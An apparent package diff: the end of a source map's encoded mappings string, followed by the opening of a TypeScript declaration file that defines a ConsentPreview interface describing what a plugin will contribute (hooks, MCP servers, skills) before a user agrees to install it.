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"}
@@ -0,0 +1,87 @@
1
+ import type { HookEventName } from '../hooks/types.js';
2
+ import type { PluginManifest, PluginSource } from './types.js';
3
+ export interface ConsentPreview {
4
+ pluginId: string;
5
+ version: string;
6
+ description?: string;
7
+ source: PluginSource;
8
+ marketplace: string;
9
+ /** True when the install came from a marketplace flagged `verified`. */
10
+ verified: boolean;
11
+ /** True when the marketplace's name is one of `RESERVED_MARKETPLACE_NAMES`. */
12
+ fromReservedMarketplace: boolean;
13
+ /** Hook event names the plugin registers. Empty means no hooks. */
14
+ hookEvents: HookEventName[];
15
+ /** MCP server names contributed inline (path-form not previewed —
16
+ * requires reading another file before consent). */
17
+ inlineMcpServerNames: string[];
18
+ hasSkillsDir: boolean;
19
+ hasAgentsDir: boolean;
20
+ hasCommandsDir: boolean;
21
+ /** True when manifest declares `mcpServers` as a file path (not
22
+ * inline) — we don't have the names yet at consent time, but we can
23
+ * warn the user that the plugin DOES bring MCP servers. */
24
+ hasPathMcpServers: boolean;
25
+ /** Same as above for hooks declared via path rather than inline. */
26
+ hasPathHooks: boolean;
27
+ author?: string;
28
+ license?: string;
29
+ homepage?: string;
30
+ }
31
+ /** Filesystem-side info about a plugin's root directory — the things
32
+ * a manifest-only inspection can't see. Populated by [[probePluginRoot]]
33
+ * and passed to [[buildConsentPreview]] so the install-time "Will
34
+ * contribute" line reflects auto-discovered contributions (e.g.
35
+ * Claude Code's convention of dropping `.mcp.json` next to plugin.json
36
+ * instead of declaring `mcpServers` in the manifest). */
37
